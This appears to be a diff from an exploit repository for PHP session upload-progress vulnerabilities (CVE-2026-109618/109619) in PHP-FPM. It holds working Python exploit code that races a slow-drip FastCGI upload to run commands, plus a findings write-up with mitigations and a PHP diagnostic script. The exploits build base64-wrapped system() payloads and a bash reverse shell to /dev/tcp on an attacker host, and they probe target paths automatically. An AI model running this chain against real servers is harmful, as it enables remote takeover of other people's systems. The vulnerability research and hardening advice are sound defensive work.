# ── Thread A: slow drip ──
|
||||||
|
fcgi_params_dict = {
|
||||||
|
"SCRIPT_FILENAME": script_file,
|
||||||
|
"SCRIPT_NAME": "/" + os.path.basename(script_file),
|
||||||
|
"REQUEST_METHOD": "POST",
|
||||||
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
|
||||||
|
"CONTENT_LENGTH": str(total_body),
|
||||||
|
"DOCUMENT_ROOT": os.path.dirname(script_file),
|
||||||
|
"REQUEST_URI": "/" + os.path.basename(script_file),
|
||||||
|
"HTTP_COOKIE": f"PHPSESSID={sid}",
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = 1
|
||||||
|
header = fcgi_begin_request(request_id)
|
||||||
|
header += fcgi_params(request_id, fcgi_params_dict)
|
||||||
|
|
||||||
|
# Send headers + body prefix as first STDIN record
|
||||||
|
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout=timeout)
|
||||||
|
sock.sendall(header + first_stdin)
|
||||||
|
|
||||||
|
# Small delay to let FPM start processing and write session file
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
# Start the racer
|
||||||
|
race_thread = threading.Thread(target=racer, daemon=True)
|
||||||
|
race_thread.start()
|
||||||
|
|
||||||
|
# Drip file content slowly
|
||||||
|
drip_interval = drip_time / (drip_bytes // 64)
|
||||||
|
sent = 0
|
||||||
|
while sent < drip_bytes and found["body"] is None:
|
||||||
|
chunk = b"\x00" * min(64, drip_bytes - sent)
|
||||||
|
try:
|
||||||
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
|
||||||
|
sent += len(chunk)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
break
|
||||||
|
time.sleep(drip_interval)
|
||||||
|
|
||||||
|
# Send suffix + STDIN EOF
|
||||||
|
try:
|
||||||
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
|
||||||
|
sock.sendall(fcgi_stdin_eof(request_id))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Read response (cleanup)
|
||||||
|
sock.settimeout(3)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
race_thread.join(timeout=5)
|
||||||
|
return found["body"], found["path"]
|
||||||
|
|
||||||
|
|
||||||
|
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
|
||||||
|
|
||||||
|
def _parse_url(url):
|
||||||
|
p = urlparse(url)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
return host, port, tls, path
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls=False, timeout=30):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def send_chunk(sock, data):
|
||||||
|
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Script discovery ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
SCRIPT_CANDIDATES = [
|
||||||
|
"/var/www/html/index.php",
|
||||||
|
"/var/www/html/wp-login.php",
|
||||||
|
"/var/www/html/wp-cron.php",
|
||||||
|
"/var/www/html/xmlrpc.php",
|
||||||
|
"/var/www/public/index.php",
|
||||||
|
"/var/www/app/public/index.php",
|
||||||
|
"/var/www/html/info.php",
|
||||||
|
"/srv/http/index.php",
|
||||||
|
"/usr/share/phpmyadmin/index.php",
|
||||||
|
"/usr/local/lib/php/pearcmd.php",
|
||||||
|
]
|
||||||
|
|
||||||
|
SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/var/lib/php/sess",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def find_php_script(fpm_addr, candidates, timeout=3):
|
||||||
|
"""Probe FPM to find an existing .php file."""
|
||||||
|
for path in candidates:
|
||||||
|
try:
|
||||||
|
params = {
|
||||||
|
"SCRIPT_FILENAME": path,
|
||||||
|
"REQUEST_METHOD": "GET",
|
||||||
|
"SERVER_SOFTWARE": "probe",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": "",
|
||||||
|
"CONTENT_LENGTH": "0",
|
||||||
|
}
|
||||||
|
request_id = 1
|
||||||
|
payload = fcgi_begin_request(request_id)
|
||||||
|
payload += fcgi_params(request_id, params)
|
||||||
|
payload += fcgi_stdin_eof(request_id)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout)
|
||||||
|
sock.sendall(payload)
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(65536)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
stdout, _ = fcgi_parse_stdout(resp)
|
||||||
|
if b"Primary script unknown" not in stdout and len(stdout) > 0:
|
||||||
|
return path
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ── main ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
fpm_addr = args.fpm
|
||||||
|
sid = args.session_id or os.urandom(16).hex()
|
||||||
|
marker = "FCGIRCE"
|
||||||
|
|
||||||
|
spaths = list(SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths
|
||||||
|
if s != args.session_path]
|
||||||
|
|
||||||
|
if args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = (
|
||||||
|
f'<?php echo "{marker}:";'
|
||||||
|
f'system(base64_decode("{cmd_b64}"));'
|
||||||
|
f'echo ":{marker}END"; ?>'
|
||||||
|
).encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = (f"bash -c 'bash -i >& "
|
||||||
|
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
elif args.trigger_only:
|
||||||
|
php_code = (
|
||||||
|
f'<?php echo "{marker}:pid=".getmypid().'
|
||||||
|
f'"&uname=".php_uname().":{marker}END"; ?>'
|
||||||
|
).encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
|
||||||
|
file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" FPM address : {fpm_addr}")
|
||||||
|
print(f" Session ID : {sid}")
|
||||||
|
print(f" Drip time : {args.drip_time}s")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
else:
|
||||||
|
print(f" Trigger-only")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Step 0: find a .php script ──
|
||||||
|
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
|
||||||
|
script_file = args.script_file
|
||||||
|
if not script_file:
|
||||||
|
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
|
||||||
|
if script_file:
|
||||||
|
print(f" Found: {script_file}")
|
||||||
|
else:
|
||||||
|
print(" [!] No .php file found. Use --script-file.")
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print(f" Using: {script_file}")
|
||||||
|
|
||||||
|
# ── Step 1+2: poison via slow drip + race execution ──
|
||||||
|
print(f"[*] Step 1+2: slow-drip poison + race execution...")
|
||||||
|
print(f" Dripping multipart body over {args.drip_time}s "
|
||||||
|
f"while racing auto_prepend_file...")
|
||||||
|
|
||||||
|
body, path = poison_and_execute_fcgi(
|
||||||
|
fpm_addr, script_file, sid, php_code,
|
||||||
|
spaths, marker,
|
||||||
|
drip_time=args.drip_time,
|
||||||
|
timeout=args.drip_time + 10)
|
||||||
|
|
||||||
|
if body:
|
||||||
|
print(f" [+] RCE confirmed via {path}")
|
||||||
|
output = body.decode(errors="replace")
|
||||||
|
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
print()
|
||||||
|
print(m.group(1))
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
print(output)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(" [!] Race did not succeed.")
|
||||||
|
print(" Possible causes:")
|
||||||
|
print(" - pm.max_children < 2 (need at least 2 workers)")
|
||||||
|
print(" - session.upload_progress.enabled = 0")
|
||||||
|
print(" - Incorrect session.save_path (try --session-path)")
|
||||||
|
print(" - Try increasing --drip-time")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||||
|
p.add_argument("--fpm", required=True,
|
||||||
|
help="PHP-FPM address (host:port or /path/to/socket)")
|
||||||
|
p.add_argument("-t", "--target",
|
||||||
|
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
|
||||||
|
p.add_argument("--script-file",
|
||||||
|
help="Existing .php file on target (auto-detected)")
|
||||||
|
p.add_argument("--session-path",
|
||||||
|
help="session.save_path override")
|
||||||
|
p.add_argument("--session-id",
|
||||||
|
help="Force session ID (default: random)")
|
||||||
|
p.add_argument("--cmd", help="Command to execute")
|
||||||
|
p.add_argument("--lhost", help="Reverse shell host")
|
||||||
|
p.add_argument("--lport", type=int, help="Reverse shell port")
|
||||||
|
p.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Verify RCE without running a payload")
|
||||||
|
p.add_argument("--drip-time", type=int, default=10,
|
||||||
|
help="Seconds to drip the upload body (default: 10)")
|
||||||
|
sys.exit(0 if run(p.parse_args()) else 1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
# RCE Without LFI — Findings
|
||||||
|
|
||||||
|
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
|
||||||
|
write primitive) be turned into RCE **without any include() primitive in the
|
||||||
|
application**?
|
||||||
|
|
||||||
|
Short answer: not through the session decoder — PHP never unserializes attacker
|
||||||
|
bytes off the session file, and four independent guards close that route. But
|
||||||
|
yes through a different consumer: **PHP-FPM's own request routing**. When
|
||||||
|
`session.save_path` is web-served, the poisoned session file is directly
|
||||||
|
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
|
||||||
|
soon as `security.limit_extensions` is empty. No application code runs at any
|
||||||
|
point; the poison fires even on 404 URLs.
|
||||||
|
|
||||||
|
Everything below was verified against a local php-fpm 8.5.11 build plus the
|
||||||
|
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
|
||||||
|
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
|
||||||
|
|
||||||
|
## Part 1: why session deserialization is a dead end
|
||||||
|
|
||||||
|
The obvious no-LFI consumer is `session_start()` itself: it decodes the
|
||||||
|
poisoned file on the next request. If the decoded stream could be made to
|
||||||
|
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
|
||||||
|
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
|
||||||
|
|
||||||
|
**1. The `|` guard aborts the whole write** (php handler, the default).
|
||||||
|
|
||||||
|
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
|
||||||
|
|
||||||
|
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
|
||||||
|
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
|
||||||
|
... return NULL; /* session.c:993-998 in 8.3 */
|
||||||
|
|
||||||
|
and `php_session_save_current_state()` then writes the **empty string** instead
|
||||||
|
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
|
||||||
|
appended verbatim (session.c:3144-3145, no per-character filtering — the README
|
||||||
|
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
|
||||||
|
value kills the write entirely.
|
||||||
|
|
||||||
|
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
|
||||||
|
exists with **0 bytes**. No object, no data.
|
||||||
|
|
||||||
|
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
|
||||||
|
loop splits at the first `|` and unserializes only the value side
|
||||||
|
(session.c:1024-1048). The value side is always the well-formed progress array
|
||||||
|
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
|
||||||
|
bytes land in the key, which becomes a plain `$_SESSION` array key.
|
||||||
|
|
||||||
|
**3. Other serializers are aligned or escaped.**
|
||||||
|
- `php_serialize`: key passes through `php_var_serialize` escaping
|
||||||
|
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
|
||||||
|
aligned `unserialize()`.
|
||||||
|
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
|
||||||
|
`continue`), decode is length-prefixed.
|
||||||
|
- `wddx`: XML, can only produce scalars/arrays.
|
||||||
|
|
||||||
|
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
|
||||||
|
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
|
||||||
|
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
|
||||||
|
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
|
||||||
|
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
|
||||||
|
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
|
||||||
|
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
|
||||||
|
"Session ID is too long or contains illegal characters" and no file.
|
||||||
|
|
||||||
|
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
|
||||||
|
save handler is configured. `mod_files` is the only built-in that validates.
|
||||||
|
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
|
||||||
|
whether they sanitize before building store keys is deployment-dependent and
|
||||||
|
was **not verified** here; for redis-style handlers a CRLF-capable SID is
|
||||||
|
protocol injection, which is a separate research thread.
|
||||||
|
|
||||||
|
## Part 2: what works — php-fpm consumes the file itself
|
||||||
|
|
||||||
|
The no-LFI consumer is not PHP code, it is the **request router**:
|
||||||
|
|
||||||
|
1. **The poison does not need the application.** The rfc1867 callback runs
|
||||||
|
inside the SAPI POST reader, before script dispatch. A multipart POST to a
|
||||||
|
URL whose script does not exist (fpm answers 404) still writes the poisoned
|
||||||
|
session file. Verified: POST to `/nonexistent.php` → file written. This
|
||||||
|
means *any* PHP-handled vhost URL is a valid injection endpoint.
|
||||||
|
|
||||||
|
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
|
||||||
|
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
|
||||||
|
refuses it: `Access denied.` from `security.limit_extensions` (verified).
|
||||||
|
But with **`security.limit_extensions` empty** — a very common production
|
||||||
|
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
|
||||||
|
|
||||||
|
GET /sessions/sess_<SID>/x.php?c=id
|
||||||
|
|
||||||
|
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
|
||||||
|
prefix as the script, and fpm executes the extensionless session file with
|
||||||
|
`PATH_INFO=/x.php`.
|
||||||
|
|
||||||
|
Verified end-to-end against php-fpm 8.5.11: the session file
|
||||||
|
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
|
||||||
|
returned `uid=1000(...)`. Both limit_extensions states tested.
|
||||||
|
|
||||||
|
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
|
||||||
|
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
|
||||||
|
options:
|
||||||
|
- `cleanup=0` — file persists with `done=1`; no race needed.
|
||||||
|
- **Streaming request bodies** (Apache mod_php, nginx
|
||||||
|
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
|
||||||
|
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
|
||||||
|
as the upload is dripped. Verified: slow FCGI drip, execution request hit
|
||||||
|
during the window on the first poll.
|
||||||
|
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
|
||||||
|
parses; the window is only the parse time — measured ~16 ms for a 7 MB
|
||||||
|
body. Detection may land, follow-up commands usually miss. Not reliable.
|
||||||
|
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
|
||||||
|
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
|
||||||
|
runs, and the poisoned file persists. Requires the OOM body to fit under
|
||||||
|
`post_max_size` while exceeding `memory_limit` headroom (i.e.
|
||||||
|
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
|
||||||
|
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
|
||||||
|
persisted, pathinfo execution returned command output.
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
`exploit_nolfi.py` implements the chain with auto-detection:
|
||||||
|
|
||||||
|
- `--probe` classifies each candidate URL prefix: not served / served only
|
||||||
|
(source disclosure) / fully executable.
|
||||||
|
- Default mode poisons + races the upload window while polling execution
|
||||||
|
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
|
||||||
|
calm execution if the file persisted.
|
||||||
|
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
|
||||||
|
`--fields` / `--fsize`).
|
||||||
|
|
||||||
|
## Updated mitigation matrix
|
||||||
|
|
||||||
|
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
|
||||||
|
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
|
||||||
|
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
|
||||||
|
| + limit_extensions=`.php .phar` | — | — | — | OK |
|
||||||
|
| + save_path outside docroot / not served | — | — | — | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK | **FAIL** |
|
||||||
|
|
||||||
|
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
|
||||||
|
application file-inclusion at all.
|
||||||
|
|
||||||
|
## Recommendations (additions to the existing list)
|
||||||
|
|
||||||
|
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||||
|
(do not leave it empty).
|
||||||
|
6. Keep `session.save_path` outside any web-served tree; audit for alias or
|
||||||
|
`location` blocks that expose it.
|
||||||
|
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
|
||||||
|
|
||||||
|
## Test log (local rig)
|
||||||
|
|
||||||
|
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
|
||||||
|
an nginx-equivalent gateway (static files + `location ~ \.php$` +
|
||||||
|
fix_pathinfo semantics).
|
||||||
|
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
|
||||||
|
exec → interactive command loop. Confirmed RCE.
|
||||||
|
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
|
||||||
|
during upload window on first poll. Confirmed RCE.
|
||||||
|
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
|
||||||
|
persisted, exec confirmed. Confirmed RCE.
|
||||||
|
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
|
||||||
|
frequently succeeds, sustained command execution unreliable. Documented.
|
||||||
|
- `security.limit_extensions=.php .phar` (default): all execution attempts
|
||||||
|
blocked with "Access denied". Confirmed mitigation.
|
||||||
|
- Session deserialization injection (`|` in progress key): 0-byte file,
|
||||||
|
no unserialization. Confirmed dead end.
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
<?php
|
||||||
|
// Deployment diagnostic for the no-LFI session attack surface.
|
||||||
|
// Drop on the target, request once, then REMOVE it.
|
||||||
|
//
|
||||||
|
// Reports whether the two preconditions of the served-path chain hold:
|
||||||
|
// 1. session.save_path is inside (or aliased to) a web-served tree
|
||||||
|
// 2. security.limit_extensions is empty (fpm would execute
|
||||||
|
// extensionless session files via PATH_INFO)
|
||||||
|
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
|
||||||
|
$sp = session_save_path();
|
||||||
|
if ($sp === '') {
|
||||||
|
$sp = sys_get_temp_dir();
|
||||||
|
}
|
||||||
|
// strip the optional "N;/path" depth prefix
|
||||||
|
if (($p = strrchr($sp, ';')) !== false) {
|
||||||
|
$sp = substr($p, 1);
|
||||||
|
}
|
||||||
|
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
|
||||||
|
$real_sp = realpath($sp) ?: $sp;
|
||||||
|
$real_doc = realpath($doc) ?: $doc;
|
||||||
|
|
||||||
|
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
|
||||||
|
$le = ini_get('security.limit_extensions');
|
||||||
|
$sapi = php_sapi_name();
|
||||||
|
|
||||||
|
echo "sapi = {$sapi}\n";
|
||||||
|
echo "session.save_path = {$sp}\n";
|
||||||
|
echo "DOCUMENT_ROOT = {$doc}\n";
|
||||||
|
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
|
||||||
|
echo "security.limit_extensions = [" . $le . "]\n";
|
||||||
|
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
|
||||||
|
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
|
||||||
|
echo "memory_limit = " . ini_get('memory_limit') . "\n";
|
||||||
|
echo "post_max_size = " . ini_get('post_max_size') . "\n";
|
||||||
|
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
|
||||||
|
|
||||||
|
$verdict = array();
|
||||||
|
if (ini_get('session.upload_progress.enabled')) {
|
||||||
|
if ($under_doc) {
|
||||||
|
$verdict[] = "save_path is web-served: session files are requestable";
|
||||||
|
}
|
||||||
|
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
|
||||||
|
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($verdict) {
|
||||||
|
echo "\nEXPOSED:\n";
|
||||||
|
foreach ($verdict as $v) {
|
||||||
|
echo " - {$v}\n";
|
||||||
|
}
|
||||||
|
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
|
||||||
|
} else {
|
||||||
|
echo "\nNo served-path exposure detected.\n";
|
||||||
|
}
|
||||||
@@ -0,0 +1,590 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
|
||||||
|
("served save_path" chain)
|
||||||
|
|
||||||
|
Every other exploit in this repo needs an include() primitive in the
|
||||||
|
application to execute the poisoned session file. This one does not.
|
||||||
|
It turns the session upload progress write primitive into RCE using only
|
||||||
|
PHP-FPM request routing:
|
||||||
|
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
|
||||||
|
<save_path>/sess_<SID> during multipart parsing. This fires even on
|
||||||
|
URLs that do not exist (404), because rfc1867 processing happens in
|
||||||
|
the SAPI POST reader before script dispatch. No session_start(),
|
||||||
|
no application code involved.
|
||||||
|
|
||||||
|
2. If session.save_path lives under a web-served directory, the session
|
||||||
|
file is directly requestable over HTTP.
|
||||||
|
|
||||||
|
3. php-fpm executes the (extension-less) session file when the request
|
||||||
|
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
|
||||||
|
— the classic nginx cgi.fix_pathinfo routing. The only gate is
|
||||||
|
security.limit_extensions, whose compiled default (.php .phar) blocks
|
||||||
|
it but which is frequently set empty in real deployments. Verified
|
||||||
|
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
|
||||||
|
|
||||||
|
4. session.upload_progress.cleanup=1 (default) truncates the file when
|
||||||
|
the upload finishes, so execution is raced against the upload window
|
||||||
|
with a slow multipart body. With cleanup=0 the file persists and no
|
||||||
|
race is needed.
|
||||||
|
|
||||||
|
Preconditions (all defaults unless noted):
|
||||||
|
- session.upload_progress.enabled=1
|
||||||
|
- PHP-FPM with session.save_path web-served
|
||||||
|
- security.limit_extensions empty (non-default; common in the wild)
|
||||||
|
- any PHP-handled URL on the vhost, including 404s
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --probe
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
MARKER = "NOLFIMARK"
|
||||||
|
|
||||||
|
DEFAULT_URL_PREFIXES = [
|
||||||
|
"/sessions",
|
||||||
|
"/tmp",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php/session",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/sess",
|
||||||
|
"/storage/sessions",
|
||||||
|
"/files/sessions",
|
||||||
|
]
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# HTTP helpers (raw sockets, same style as the other exploits)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _parse_url(url: str):
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
p = urlparse(url)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
if p.query:
|
||||||
|
path += "?" + p.query
|
||||||
|
return host, port, tls, path
|
||||||
|
|
||||||
|
|
||||||
|
def _connect(host, port, tls, timeout=10):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def _recv_response(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
chunk = sock.recv(8192)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
resp += chunk
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||||
|
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
|
||||||
|
if m:
|
||||||
|
cl = int(m.group(1))
|
||||||
|
while len(resp) - hdr_end < cl:
|
||||||
|
more = sock.recv(8192)
|
||||||
|
if not more:
|
||||||
|
break
|
||||||
|
resp += more
|
||||||
|
break
|
||||||
|
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
|
||||||
|
if b"\r\n0\r\n" in resp[hdr_end:]:
|
||||||
|
break
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def _decode_chunked(data):
|
||||||
|
out = b""
|
||||||
|
while data:
|
||||||
|
line_end = data.find(b"\r\n")
|
||||||
|
if line_end < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
n = int(data[:line_end].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if n == 0:
|
||||||
|
break
|
||||||
|
out += data[line_end + 2:line_end + 2 + n]
|
||||||
